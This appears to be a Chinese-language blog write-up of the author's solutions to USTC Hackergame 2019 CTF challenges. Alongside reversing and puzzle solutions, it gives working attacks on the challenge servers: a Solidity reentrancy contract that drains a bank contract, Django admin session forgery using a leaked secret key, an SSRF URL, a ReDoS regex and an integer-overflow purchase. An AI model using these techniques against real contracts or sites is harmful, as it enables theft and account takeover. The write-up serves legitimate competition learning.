ustc hackgame 2019 writeup

菜是原罪 :(

Posted by Les1ie on October 22, 2019

1
2
当前分数:2350, 总排名:80 / 1904
binary:150 , general:850 , math:600 , web:750

菜是原罪,改变不了的事实 :(

签到

复制本人token,过去粘贴然后提交

信息安全2077

看了下是If-Unmodified-Since头,改一下就行

1
2
curl 202.38.93.241:2077/flag.txt -H "User-agent=Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) HEICORE/49.1.2623.213 Safari/537.36" -H "If-Unmodified-Since: Tue, 15 Oct 2077 05:47:08 GMT" -d  " "
flag{Welc0me_to_competit1on_in_2077}

happy lug

dns txt记录 一般ctf里面这种都是查txt记录

毕竟我也在我的域名txt里面放过flag (Doge

1
https://mxtoolbox.com/SuperTool.aspx?action=txt%3a%F0%9F%98%82.hack.ustclug.org&run=toolpage#
1
flag{DN5_C4N_H4VE_em0ji_haha}

宇宙终极问题

42

搜一下就有了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ nc 202.38.93.241 10017
Please input your token: 959:MEYCIQC5ir9sscKL0EsFJknDHKTInhAAka2kE67Ja/uuZRTiFAIhAKye8eFiVjnADQenC4nihInpkAKSsGTWnmIjfvSR9K98

       the        answer
      toli      fetheuniv
     ersea     nde     ver
    ything     the     ans
   wer tol     ife     the
  uni  ver           sean
 dev   ery         thin
gth    ean       swer
tolifetheuni    ver
seandeveryth   ing
       the     ans      wer
       tol     ifetheuniver
       sea     ndeverything

Do you know The Answer to the Ultimate Question of Life, The Universe, and Everything?

Give me 3 integers, x, y, and z, such that
x^3 + y^3 + z^3 = 42

x = -80538738812075974
y = 80435758145817515
z = 12602123297335631
(-80538738812075974) ^ 3 + (80435758145817515) ^ 3 + (12602123297335631) ^ 3 = 42
flag{W0W_you_kn0w_the_Answer_t0_l1f3_Un1v3r5e_&_Everyth1ng_a51ec7fd69}


正则验证器

看题目直接猜是正则回溯陷阱

1
2
3
4
5
6
7
8
$ nc 202.38.93.241 10006
Please input your token: 959:MEYCIQC5ir9sscKL0EsFJknDHKTInhAAka2kE67Ja/uuZRTiFAIhAKye8eFiVjnADQenC4nihInpkAKSsGTWnmIjfvSR9K98
Welcome to the free online Regular Expression Verifier
Please enter your RegEx and string and I will match them for you

RegEx: (a*)*b
String: aaaaaaaaaaaaaaaaaaaaaaas
flag{R3g3x_can_D0S_f01fd1fa56}

ssrf

看源代码,审计

1
http://202.38.93.241:10020/request?url=http://web1/[email protected]

脑子不够用

我想有个家

下载二进制文件,运行一下

看样子是要chroot,那就先创建他需要的东西吧

1
2
3
4
5
6
mkdir hhhh
cd hhhh
mkdir Bedroom Kitchen Lavatory Living_room
touch Bedroom/Micrrophone
cd Bedroom
ln -s Microphone Headset

然后写个脚本定期修改文件的时间

1
2
3
4
5
6
In [11]: while True:
    ...:     time.sleep(0.1)
    ...:     with open('Living_Room/Clock', 'w') as f:
    ...:         f.write(datetime.now().strftime('%H:%M:%S'))
    ...: 

因为没有动态库了,系统的sleep不能用了

busybox也有sleep,但是需要/dev/null,懒得去搞,直接用go写一个sleep静态编译丢进去

1
2
3
4
5
6
7
8
9
10
11
12
13
package main

import (
	"fmt"
	"time"
)

func main() {
	fmt.Println("sleep now ")
	time.Sleep(time.Duration(10)*time.Second)
	fmt.Println("sleep")
}

交叉编译

1
2
3
set GOOS=linux
set GOARCH=amd64
go build main.go

然后执行

1
chroot . ./IWantHome

需要sleep的时候执行main就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ chroot . ./IWantAHome-linux
I just want a home. Please do what I say and I will give you a flag
Make sure I am running on Linux(Unix).
I want these directories in / : [/Kitchen /Lavatory /Bedroom /Living_Room]
Thanks, I find these directories.
I hate these directories  [/home /root /boot /proc /sys /etc /bin] , Please delete them all!
Well done.
Now I want a telephone in Bedroom
I will write something to /Bedroom/Microphone and read the same thing in /Bedroom/Headset
Good, telephone works well.
Time is important, I need a clock in living_room
I will read  Beijing time (eg: '20:15:30') in /Living_Room/Clock
Good, the clock works well.
It is late, tell me how to sleep 10 seconds in shell
> ./main
command is:'./main'
I slept for  10.004741985s
flag{I_am_happy_now}


小巧玲珑的ELF

丢进IDA看一下,F5出来有负数,结合着汇编看吧 ida的f5仅供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
push    rbp
mov     rbp, rsp
sub     rsp, 70h
mov     [rbp+var_70], 66h
mov     [rbp+var_6F], 6Eh
mov     [rbp+var_6E], 65h
mov     [rbp+var_6D], 6Bh
mov     [rbp+var_6C], 83h
mov     [rbp+var_6B], 4Eh
mov     [rbp+var_6A], 6Dh
mov     [rbp+var_69], 74h
mov     [rbp+var_68], 85h
mov     [rbp+var_67], 7Ah
mov     [rbp+var_66], 6Fh
mov     [rbp+var_65], 57h
mov     [rbp+var_64], 91h
mov     [rbp+var_63], 73h
mov     [rbp+var_62], 90h
mov     [rbp+var_61], 4Fh
mov     [rbp+var_60], 8Dh
mov     [rbp+var_5F], 7Fh
mov     [rbp+var_5E], 63h
mov     [rbp+var_5D], 36h
mov     [rbp+var_5C], 6Ch
mov     [rbp+var_5B], 6Eh
mov     [rbp+var_5A], 87h
mov     [rbp+var_59], 69h
mov     [rbp+var_58], 163
mov     [rbp+var_57], 6Fh
mov     [rbp+var_56], 58h
mov     [rbp+var_55], 73h
mov     [rbp+var_54], 66h
mov     [rbp+var_53], 56h
mov     [rbp+var_52], 93h
mov     [rbp+var_51], 9Fh
mov     [rbp+var_50], 69h
mov     [rbp+var_4F], 70h
mov     [rbp+var_4E], 38h
mov     [rbp+var_4D], 76h
mov     [rbp+var_4C], 71h
mov     [rbp+var_4B], 78h
mov     [rbp+var_4A], 6Fh
mov     [rbp+var_49], 63h
mov     [rbp+var_48], 0C4h
mov     [rbp+var_47], 82h
mov     [rbp+var_46], 84h
mov     [rbp+var_45], 0BEh
mov     [rbp+var_44], 0BBh
mov     [rbp+var_43], 0CDh

ida打开,F5

1
2
3
4
5
6
7
8
9
10
11
for ( i = 0; i <= 45; ++i )
  {
    buf[i] += 2 * i;
    buf[i] ^= i;
    buf[i] -= i;
  }
  for ( j = 0; j <= 45; ++j )
  {
    if ( buf[j] != *(&v0 + j) )
      __asm { syscall; LINUX - sys_exit }
  }

梳理下逻辑,根据输入的字符串做一些变换,如果变换之后的结果等于他预定义的字符串,那么输出correct

两种方式去验证,可以爆破flag或者根据验证的内容倒推

1
2
3
4
5
6
7
8
9
10
11
flag = [None for i in range(46)]
l = [0x66,0x6E,0x65,0x6B,0x83,0x4E,0x6D,0x74,0x85,0x7A,0x6F,0x57,0x91,0x73,0x90,0x4F,0x8D,0x7F,0x63,0x36,0x6C,0x6E,0x87,0x69,0x0a3,0x6F,0x58,
0x73,0x66,0x56,0x93,0x9F,0x69,0x70,0x38,0x76,0x71,0x78,0x6F,0x63,0x0C4,0x82,0x84,0x0BE,0x0BB,0x0CD,]
for i, c in enumerate(l):
    
    flag[i] = c+i
    flag[i] = flag[i]^i
    flag[i] = flag[i]-2*i
#     print(i,c,flag[i])
# print(flag)
"".join([chr(abs(i)) for i in flag if not None])
1
2
'flag{Linux_Syst3m_C4ll_is_4_f4scin4ting_t00ls}'

看其他官方的writeup,可以直接符号执行

1
2
3
4
5
6
import angr

proj = angr.Project("tinyELF")
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"correct" in s.posix.dumps(1))
print(simgr.found[0].posix.dumps(0))

执行

1
2
3
# root @ Beijing-debian in ~/lug [14:26:47] 
$ python3 elf.py
b'flag{Linux_Syst3m_C4ll_is_4_f4scin4ting_t00ls}'

试了下,几秒钟出结果,符号执行nb

韭菜

全靠丁大佬carry,真的nb

题目给出了智能合约的算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.4.26;

contract JCBank {
    mapping (address => uint) public balance;
    mapping (uint => bool) public got_flag;
    uint128 secret;

    constructor (uint128 init_secret) public {
        secret = init_secret;
    }

    function deposit() public payable {
        balance[msg.sender] += msg.value;
    }

    function withdraw(uint amount) public {
        require(balance[msg.sender] >= amount);
        msg.sender.call.value(amount)();
        balance[msg.sender] -= amount;
    }

    function get_flag_1(uint128 guess) public view returns(string) {
        require(guess == secret);

        bytes memory h = new bytes(32);
        for (uint i = 0; i < 32; i++) {
            uint b = (secret >> (4 * i)) & 0xF;
            if (b < 10) {
                h[31 - i] = byte(b + 48);
            } else {
                h[31 - i] = byte(b + 87);
            }
        }
        return string(abi.encodePacked("flag{", h, "}"));
    }

    function get_flag_2(uint user_id) public {
        require(balance[msg.sender] > 1000000000000 ether);
        got_flag[user_id] = true;
        balance[msg.sender] = 0;
    }
}

手写一遍算法 去查看智能合约

1
https://kovan.etherscan.io/address/0xe575c9abd35fa94f1949f7d559056bb66fddeb51#code

点contract

下面有一个Arg[0] 这个就是源代码里面的secret

1
2
3
4
5
6
000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac

把这个放到flag的生成逻辑里面去

1
2
3
4
5
6
7
secret = 0x000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac
h = [None]*32
for i in range(32):
    b = (secret>>(4*i))&0xf
    h[31-i] = b+48 if b<10 else b+87
    
print("flag:", "".join([chr(i) for i in h]))
1
flag: 0175bddc0da1bd47369c47861f48c8ac

达拉崩吧大冒险

去料理市场买东西的时候,可以输入负数,可以猜测这里没有做处理

可以试试造成溢出

尝试了 -2**60 次方可以正常购买, -2**61 次方则会造成异常

于是修改购买的数量为-2305843009213693952,搞定

1
2
3
4
5
6
7
8
Name:
达拉崩吧斑得贝迪卜多比鲁翁

Money:
4611686018427388000

Attack:
6917529027641082000

然后点攻打恶龙,打败之后点要flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
旁白:
进入同步!

蒙达鲁克硫斯伯古比奇巴勒城门卫:
站住!进门收钱!一人50元,童叟无欺!不进的走开,要进的速速报上姓名!

我:
我是达拉崩吧斑得贝迪卜多比鲁翁,我从千里之外,前来帮助国王救回公主。

国王:
愁啊,愁啊!爱女米娅莫拉苏娜丹妮谢莉红竟被那恶龙带走了。

国王:
若是有哪位勇士能够打败恶龙,大大滴有赏赐

我:
我达拉崩吧斑得贝迪卜多比鲁翁,愿意跨过山与大海,去会会那恶龙昆图库塔卡提考特苏瓦西拉松。

国王:
好!!若你成功救得公主,我赐你黄金万两。

旁白:
接下来,你想去哪里呢?

我:
料理大市场

隔壁王大妈:
走过路过不要错过,这里有鲜美香脆可口甘甜现炸童子鸡,有效提升攻击力,现在只要两元钱,两块钱,你买不了吃亏,买不了上当。这位客官,你要来几只啊?

旁白:
你感觉自己浑身充满了干劲

旁白:
接下来,你想去哪里呢?

我:
去恶龙洞穴

巨龙昆图库塔卡提考特苏瓦西拉松:
我是恶龙昆图库塔卡提考特苏瓦西拉松

我:
你是昆图库塔卡提考特苏瓦西拉松?

巨龙昆图库塔卡提考特苏瓦西拉松:
我是恶龙昆图库塔卡提考特苏瓦西拉松!我的攻击力可是64403333,看招

旁白:
砰砰砰!叭叭叭!恭喜你,战胜了巨龙昆图库塔卡提考特苏瓦西拉松!

国王:
啊!我的勇士达拉崩吧斑得贝迪卜多比鲁翁,你救了我的公主米娅莫拉苏娜丹妮谢莉红!你想要什么奖励?

我:
flag

国王:
好!成全你!

系统:
flag{what_an_amazing_dream}

旁白:
失去同步!

题目的剧情是真的有意思 233333

韭菜第二题

再说一遍,丁大佬nb

The Dao攻击

https://remix.ethereum.org/#optimize=false&evmVersion=null&version=soljson-v0.4.26+commit.4563c3fc.js写代码,新建一个MyContract,然后点击指定版本的智能合约进行编译

填写JCbank的合约地址,然后部署

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
pragma solidity ^0.4.26;

contract JCBank {
    mapping (address => F) public balance;
    mapping (uint => bool) public got_flag;
    uint128 secret;

    constructor (uint128 init_secret) public {
        secret = init_secret;
    }

    function deposit() public payable {
        balance[msg.sender] += msg.value;
    }

    function withdraw(uint amount) public {
        require(balance[msg.sender] >= amount);
        msg.sender.call.value(amount)();
        balance[msg.sender] -= amount;
    }

    function get_flag_1(uint128 guess) public view returns(string) {
        require(guess == secret);

        bytes memory h = new bytes(32);
        for (uint i = 0; i < 32; i++) {
            uint b = (secret >> (4 * i)) & 0xF;
            if (b < 10) {
                h[31 - i] = byte(b + 48);
            } else {
                h[31 - i] = byte(b + 87);
            }
        }
        return string(abi.encodePacked("flag{", h, "}"));
    }

    function get_flag_2(uint user_id) public {
        require(balance[msg.sender] > 1000000000000 ether);
        got_flag[user_id] = true;
        balance[msg.sender] = 0;
    }
    
    
    
}

contract MyContract {
    JCBank c;
    address owner;
    uint public number;
    
    function MyContract(address _c) public payable {
        c = JCBank(_c);
        owner = msg.sender;
        c.deposit.value(msg.value)();
    }
    function() public payable {
        number++;
        uint weHave=0.1 ether;
        c.withdraw(weHave);
    }
    
    function attack() public {
        c.withdraw(0);
    }
    function getmoney() public {
        owner.transfer(this.balance);
    }
    function end() public {
        uint x = 1076008070892;
        c.get_flag_2(x);
    }
}

先转账,然后攻击 稍等一会儿运行end

泄露的姜戈

github把代码下载下来,改一下views.py里面的代码,让他返回admin登录时候的cookie,然后用这个cookie登录题目就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from django.contrib.auth.models import User

def index(request):
    if request.method == "GET":
        if request.user.is_authenticated:
            return redirect(reverse("profile"))
        return render(request, 'app/index.html', {
            # "name": "admin"
            "name": name
        })
    elif request.method == "POST":
        username = request.POST["username"]
        password = request.POST["password"]
        user = authenticate(request, username=username, password=password)
        if user is not None:
            # login(request, user)
            u = User.objects.get(username='admin')   # 添加这行和下一行
            login(request, u)

其中修改的是

1
2
            u = User.objects.get(username='admin')   # 添加这行和下一行
            login(request, u)

这两行会在用户使用guest登录的时候仍然返回admin的信息,因为这个cookie信息是经过secert_key签名了的,所以在题目服务器里面也可以用

复制这个cookie到题目里面,重下新请求一下就给flag了

1
flag{Never_leak_your_sEcReT_KEY}

最初以为是泄露secert_key导致RCE,但是试了之后发现不行 然后尝试构造cookie,分析django源码里面cookie的逻辑 稍微有点麻烦懒得去看,试了试本地直接让程序使用admin登录,然后把cookie放到线上题目里面,访问得flag

三教奇妙夜

拆开视频成图片

1
ffmpeg -i output.mp4 frame_%09d.jpg 

文件比较多 观察了一下无用图片的大小都在5000B左右,含有flag的页面大小不同,于是可以边写边删

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
In [36]: def delete():
    ...:     count = 0
    ...:     for i in os.listdir('night'):
    ...:         count += 1
    ...:         if 4969<os.path.getsize('night/'+i)<5100:
    ...:             os.remove('night/'+i)
    ...: 
    
In [36]: for i in range(1000000):
    ...:     delete()
    ...:     time.sleep(10)
    ...:     print("again", i)
    ...: 
    ...: 

打开就看到flag了

1
flag{ViDe0_prOcE55_with_program_1s_eaSy}

附录

官方writeup https://github.com/ustclug/hackergame2019-writeups